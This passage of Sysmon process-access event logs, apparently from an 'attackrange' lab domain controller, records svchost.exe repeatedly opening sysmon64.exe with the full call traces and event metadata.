C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 